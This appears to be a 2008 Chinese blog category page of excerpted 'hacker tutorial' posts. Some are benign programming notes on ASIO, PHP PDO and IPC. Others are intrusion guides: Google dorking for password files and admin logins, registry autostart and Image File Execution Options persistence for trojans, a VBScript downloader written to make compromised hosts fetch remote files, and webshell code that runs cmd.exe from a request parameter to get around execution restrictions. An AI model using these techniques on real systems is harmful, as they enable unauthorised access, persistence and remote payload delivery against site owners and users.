Category: 黑客教程

2008-11-24

ACE与ASIO之间关于Socket编程的比较

归类于: 黑客教程 - 24 Nov 2008

ACE是一个很成熟的中间件产品,为自适应通讯环境,但它过于宏大,一堆的设计模式,架构是一层又一层,对初学者来说,有点困难。

ASIO是基本Boost开发的异步IO库,封装了Socket,简化基于socket程序的开发。

最近分析ASIO的源代码,让我无不惊呀于它设计。在ACE中开发中的内存治理一直让人头痛,ASIO的出现,让我看到新的曙光,成为我新的好伙伴。简单地与ACE做个比较。

1.层次架构:

ACE底层是C风格的OS适配层,上一层基于C 的wrap类,再上一层是一些框架(Accpetor, Connector,Reactor等),最上一层是框架上服务。

ASIO与之类似,底层是OS的适配层,上一层一些模板类,再上一层模板类的参数化(TCP/UDP),再上一层是服务,它只有一种框架为io_service。

2.涉及范围:

ACE包含了日志,IPC,线程,共享内存,配置服务等。

ASIO只涉及到Socket,提供简单的线程操作。

3.设计模式:

ACE主要应用了Reactor,Proactor等。

而ASIO主要应用了Proactor。

4.线程调度:

ACE的Reactor是单线程调度,Proactor支持多线程调度。

ASIO支持单线程与多线程调度。

5.事件分派处理:

ACE主要是注册handler类,当事件分派时,调用其handler的虚挂勾函数。实现ACE_Handler/ACE_Svc_Handler/ACE_Event_handler等类的虚函数。

ASIO是基于函数对象的hanlder事件分派。任何函数都可能成功hanlder,少了一堆虚表的维护,调度上优于ACE。

6.发布方式:

ACE是开源免费的,不依靠于第3方库, 一般应用使用它时,以动态链接的方式发布动态库。

ASIO是开源免费的,依靠Boost,应用使用时只要include头文件,不需动态库。

7.可移植性:

ACE支持多种平台,可移植性不存在问题,据说socket编程在linux下有不少bugs。

ASIO支持多种平台,可移植性不存在问题。

8.开发难度:

基于ACE开发应用,对程序员要求比较高,要用好它,必须非常了解其框架。在其框架下开发,往往new出一个对象,不知在什么地方释放好。

基于ASIO开发应用,要求程序员熟悉函数对象,函数指针,熟悉boost库中的boost::bind。内存治理控制方便。

我个人觉得,假如应用socket编程,使用ASIO开发比较好,开发效率比较高。ACE适合于理论研究,它本来就是源于Douglas的学术研究。

PDO数据库抽象类

归类于: 黑客教程 - 24 Nov 2008

17.3 PDO数据库抽象类

17.3.1 PDO简介

PDO(PHP Data Objects Layer)提供一个公共的数据库系统接口,它使用C语言做底层开发,运行速度比较快。

PDO以PHP 5.1为基础进行设计,设计沿承PHP的特点,以简洁易用为准,从严格意义上讲,PDO应该归为PHP 5的SPL库之一,而不应该归于数据抽象层,因为其本身和MySQL和MySQLi扩展库的功能类似。

17.3.2 PDO的安装

PDO本身结果是模块化的,它被分成一个公共核心,以及一个或多个驱动程序扩展,公共核心提供了在脚本(PDO本身)中使用的API,驱动程序扩展则为PDO和本地RDBMS客户机API库架起一座桥梁,用来访问指定的数据库系统。比如,IBM DB2用户会希望使用PDO_ODBC驱动程序,Oracle用户会用Oci8_PDO接口,MySQL用户则会用pdo_mysql驱动程序。

PDD的核心在PHP 5.2下默认为开启状态,驱动程序除pdo_sqlite之外,都需要手工打开。

下面是在FreeBSD环境下使用Ports安装PDO核心驱动程序的步骤:

cd /ports/database/pecl-PDO

make install

安装后,它会自动修改php.ini配置文件,假如没有该项则自行加入:

extension=pdo.so

安装PDO MySQL驱动程序:

cd /ports/database/pecl-PDO_MYSQL/

make install

修改php.ini文件,在刚才的项后加入该段:

extension=pdo_mysql.so

使用apachectl ?k restart命令重新启动Apache后,即可完成PDO的安装了。

在Win32环境中,由于PHP 5.1版本以上的压缩包里已经自带PDO扩展库文件,因此只要在php.ini文件中打开该扩展即可,不需要再安装。

17.3.3 PDO连接数据库

其实,PDO与其他数据库接口和数据库抽象层使用区别不大,首先创建一个连接句柄:…

google hacking的实现以及应用

归类于: 黑客教程 - 24 Nov 2008

google hacking的实现以及应用(上)

本文仅做于技术讨论于研究,请勿用做其他用途.

PS:庆祝一下暂时摆脱应试教育的魔爪,向那些打着素质教育暗地里搞应试教育的学校竖起中指!

前言

google hacking其实并算不上什么新东西,在早几年我在一些国外站点上就看见过相关的介绍,但是由于当时并没有重视这种技术,认为最多就只是用来找找未改名的mdb或者别人留下的webshell什么的,并无太大实际用途.但是前段时间仔细啃了些资料才猛然发觉google hacking其实并非如此简单…

google hacking的简单实现

记得以前看见过一篇文章写的就是简单的通过用_blank>www.google.com来搜索dvbbs6.mdb或conn.inc来获得一些站点的敏感信息.其实使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.

intext:

这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含”动网”的网页.allintext:使用方法和intext类似.

intitle:

和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含”安全天使”的网页.同理allintitle:也同intitle类似.

cache:

搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

define:

搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

filetype:

这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入:filetype:doc.将返回所有以doc结尾的文件URL.当然假如你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:)

info:

查找指定站点的一些基本信息.

inurl:

搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:_blank>http://www.xxx.com/xxx/admin,用来找治理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.

link:

例如搜索:inurl:_blank>www.4ngel.net可以返回所有和_blank>www.4ngel.net做了链接的URL.

site:

这个也很有用,例如:site:_blank>www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.

对了还有一些操作符也是很有用的:

把google可能忽略的字列如查询范围

- 把某个字忽略

~ 同意词

. 单一的通配符

* 通配符,可代表多个字母

“” 精确查询

下面开始说说实际应用(我个人还是比较习惯用google.com,以下内容均在google上搜索),对于一个居心叵测的攻击者来说,可能他最感爱好的就是密码文件了.而google正因为其强大的搜索能力往往会把一些敏感信息透露给他们.用google搜索以下内容:

intitle:”index …

Win注册表另类自启动

归类于: 黑客教程 - 24 Nov 2008

在WINDOWS注册表中除了大家熟悉的下列键值:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run or Runservices

HKLM\Software\Microsoft\Windows\CurrentVersion\Run or Runservices

可以自启动外,偶还发现下列键值也可以启动程序的:

注: 服务及驱动的除外

测试平台:WIN XP SP2, 以I:盘的cpuz.exe为例

[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]

“load”=”i:\\cpuz.exe”

“run”=”i:\\cpuz.exe”

//可以在下面添加以2,3,4。。。。。。向下排

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Exp

lorer\Run]

“1″=”i:\\cpuz.exe”

//粗体为后加的程序链接

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

“Userinit”=”C:\\WINDOWS\\system32\\userinit.exe,i:\\cpuz.exe ”

PHP中的PDO函数库(PDO Functions)

归类于: 黑客教程 - 24 Nov 2008

PDO是一个“数据库访问抽象层”,作用是统一各种数据库的访问接口,与mysql和mysqli的函数库相比,PDO让跨数据库的使用更具有亲和力;与ADODB和MDB2相比,PDO更高效。目前而言,实现“数据库抽象层”任重而道远,使用PDO这样的“数据库访问抽象层”是一个不错的选择。

PDO->beginTransaction() ? 标明回滚起始点

PDO->commit() ? 标明回滚结束点,并执行SQL

PDO->__construct() ? 建立一个PDO链接数据库的实例

PDO->errorCode() ? 获取错误码

PDO->errorInfo() ? 获取错误的信息

PDO->exec() ? 处理一条SQL语句,并返回所影响的条目数

PDO->getAttribute() ? 获取一个“数据库连接对象”的属性

PDO->getAvailableDrivers() ? 获取有效的PDO驱动器名称

PDO->lastInsertId() ? 获取写入的最后一条数据的主键值

PDO->prepare() …

如何使用ASP建立虚拟的FTP服务器

归类于: 黑客教程 - 24 Nov 2008

在ASP中采用组件或无组件上传技术,均可以实现文件的上传功能。由此我们可以采用ASP的无组件上传技术,在我们自己的网站上建立一个虚拟的FTP服务器,象真正的FTP服务器一样,为多个用户提供远程文件的治理,同时各个用户只能操作自己的文件。

  

  当文件上传的时候,ASP可以采用FSO或数据库方式来保存文件数据(有些服务器并没有提供FSO功能)。这里我采用数据库来保存用户所上传的文件,采用数据库的优点我就不说了,总之很多。还有一个原因就是IIS限制了文件上传的大小(大概最大200KB吧),使用数据库方式可以采用续传技术突破这个限制,可以上传很大的文件,很大很大,无限大,……。

  

  

  ● 第一步:在服务器上建立一个数据库(ACCESS、SQL-SERVER、MYSQL均可以),简单一点就ACCESS吧。数据库内建立两个表:

  上传用户治理用:admin(ID, Name, Password, Type)

  保存上传文件数据:files(ID, ParentID, FileName, FileLength, FileType, FileData, UpDate, UserID)。

  假如FileLength=0,则表示其为文件夹,并且为每个用户建立一个根文件夹。

  

  ● 第二步:建立用户登陆页面,并使用SESSION将用户的ID保存起来,用于限制其对文件的操作。

  Session(”Name”) = list(”SName”)

  Session(”UID”) = list(”ID”)

  

  ● 第三步:建立用户主页面(显示用户上传过的文件)

  strSQL = “SELECT * FROM …

远程下载脚本downfile.vbs

归类于: 黑客教程 - 24 Nov 2008

拿到shell以后上传下载文件是个难题,下面的代码可以控制肉鸡自动下载文件。

远程下载脚本downfile.vbs

On Error Resume Next

Dim iRemote,iLocal

iLocal = LCase(WScript.Arguments(1)) 

iRemote = LCase(WScript.Arguments(0)) 

Set xPost = CreateObject(”Microsoft.XMLHTTP”) 

xPost.Open “GET”,iRemote,0 

xPost.Send() 

Set sGet = CreateObject(”ADODB.Stream”) 

sGet.Mode = 3 

sGet.Type = 1 

sGet.Open() 

sGet.Write(xPost.responseBody) 

sGet.SaveToFile iLocal,2 …

关于WEBSHELL中的命令提示符没有权限提升

归类于: 黑客教程 - 24 Nov 2008

关于WEBSHELL中的命令提示符没有权限提升

作者:未知

有很多朋友问他得到了一个WEBSHELL,但是想用命令提示查看用户信息什么的,但是很多主机限制了执行命令,所以很多WEBSHELL就不能失去了很大的功能……前二天桂林老兵ASP站长助手6.0刚出来,我就以ASP站长助手6.0为例把它上传到一个禁止执行的虚拟主机,然后上传一个CMD.exe,然后调用你上传的CMD来执行命令……

本来想搞图文教程的,但感觉太简单,文字就可以说明清楚了

1.打开ASP站长助手6.0点击命令提示符,显示”没有权限”

2.用ASP站长助手6.0上传功能上传一个CMD.exe(在WIN\system32\cmd.exe)到你的WEBSHELL目录(其它目录也行,把上传以后的CMD.exe绝对路径COPY出来)

3.修改你的webshell找到调用CMD.exe的代码

_code cellSpacing=1 cellPadding=0 width=”90%” border=0> Function CmdShell()

If Request(”cmd”)”" Then

DefCmd = Request(”cmd”)

Else

DefCmd = “Dir “&Session(”FolderPath”)

End If

SI=”

SI=SI&”"

SI=SI&”"

?SI=SI&server.createobject(”wscript.shell”).exec(”cmd.exe /c “&DefCmd).stdout.readall

?SI=SI&Chr(13)&”Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar …

关于PHP你可能不知道的-PHP的事件驱动化设计

归类于: 黑客教程 - 24 Nov 2008

//作者: laruence

//http://blog.csdn.net/laruence/

//转载请注明出处

最近在做一个需要用到异步PHP的项目, 翻阅PHP源码的时候,发现了三个没有用过的模块,sysvsem,sysvshm,sysvmsg,一番研究以后,受益非浅。

在PHP中有这么一族函数,他们是对UNIX的V IPC函数族的包装。

它们很少被人们用到,但是它们却很强大。巧妙的运用它们,可以让你事倍功半。

它们包括:

信号量(Semaphores)

共享内存(Shared Memory)

一个显为人知的木马随程序启动的方法

归类于: 黑客教程 - 24 Nov 2008

我们知道,有些木马是通过修改exe的文件关联来实现随EXE程序启动的。今天我在网上看到有另外一个显为人知的方法,就是通过在注册表HKEY_LOCAL_MACHINE\SOFTWARE

\Microsoft\Windows NT\

CurrentVersion\Image File

Execution Options

下新建一个注册表项,项名为A.exe,然后在下面新建一个字符串,字符串名为Debugger,字符串值就是程序B.exe的全路径。

  很明显,这个是针对系统可以设置每个程序指定的纠错程序来实现的。让我感到意外的是A.exe不用指明路径!

  所以,以后大家找木马时可要注重多一个地方了。不过我觉得搜索注册表的方法更直接。

  申明:我提供的资料目的是为了让Windows用户更好的维护系统安全,强烈反对利用该方法进行任何入侵、破坏行为!

下一页 »